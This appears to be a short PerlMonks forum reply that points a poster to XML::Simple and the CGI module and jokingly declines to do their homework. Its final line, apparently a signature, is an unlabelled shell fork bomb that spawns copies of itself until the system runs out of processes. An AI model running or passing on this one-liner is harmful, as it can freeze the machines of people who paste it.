XML::Simple will parse XML for you.
The CGI module will allow you to write CGI applications.

Good luck writing it.

This is a perfect time to whip out two new acronyms I've wanted to use:
PMWNDYW: Perl Monks Will Not Do Your Work
and
PMWNDYHW: Perl Monks Will Not Do Your Homework

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;